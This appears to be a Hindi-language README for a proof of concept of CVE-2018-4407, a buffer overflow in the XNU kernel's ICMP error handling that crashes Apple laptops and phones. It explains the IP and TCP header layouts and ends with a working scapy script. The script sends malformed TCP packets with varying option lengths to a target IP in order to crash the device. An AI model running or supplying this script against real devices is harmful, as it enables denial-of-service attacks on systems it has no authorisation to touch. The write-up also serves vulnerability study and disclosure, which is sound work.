
XNU कर्नेल के ICMP एरर कोड में बफ़र ओवरफ़्लो कमजोरी के कारण IOS डिवाइस (लैपटॉप और मोबाइल) क्रैश हो जाते हैं।
CVE-2018-4407 XNU कर्नेल के ICMP त्रुटि कोड में एक बफर ओवरफ्लो भेद्यता है। यह IOS उपकरणों (लैपटॉप और मोबाइल दोनों) को एक (हाँ 1!) एकल खराब पैकेट प्राप्त करने पर क्रैश कर देता है।
यह बग मूल रूप से केविन बैकहाउस द्वारा उनके lgtm ब्लॉगपोस्ट पर 30 अक्टूबर 2018 को प्रकट किया गया था।
इस रेपो में कोड पायथन में लागू CVE-2018-4407 शोषण का एक प्रूफ ऑफ कॉन्सेप्ट है, जो scapy और nmap का उपयोग करता है।
मेरी डीबगिंग प्रक्रिया के कुछ कदम। XNU कर्नेल कोड में देखने पर iphlen और tcphlen के लिए संख्याएँ मिलती हैं जो बफर ओवरफ्लो को ट्रिगर कर सकती हैं।
जैसा कि बैकहाउस ने कहा, हमारे पास icmplen > 84 होना चाहिए और ऐसा प्रतीत होता है कि हमें उस कोड शाखा if(oip->ip_p == IPPROTO_TCP) में जाना चाहिए ताकि ऐसा हो सके। एक TCP पैकेट इस भेद्यता को ट्रिगर करेगा।

एक IPv4 हेडर न्यूनतम 20 बाइट्स से लेकर 36 बाइट्स तक होता है (विकल्पों पर निर्भर करता है)।
IHL: IP हेडर की लंबाई है, जिसमें विकल्प शामिल हैं। यह यह भी इंगित करता है कि पेलोड कहाँ से शुरू होता है।Total Length: IP पैकेट की कुल लंबाई होगी (IP हेडर और TCP पेलोड सहित)। 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
एक TCP हेडर न्यूनतम 20 बाइट्स से 60 बाइट्स तक होता है (विकल्प 40 बाइट्स तक हो सकते हैं)।
Data offset: इंगित करता है कि डेटा कहाँ से शुरू होता है और इसे हेडर की लंबाई के रूप में भी देखा जा सकता है। 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
XNU कोड में इतना गहराई तक जाना आवश्यक नहीं है। एक सरल scapy स्क्रिप्ट, जो मैन्युअल रूप से विभिन्न हेडर लंबाइयों की कोशिश करती है, का भी उपयोग किया जा सकता है:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))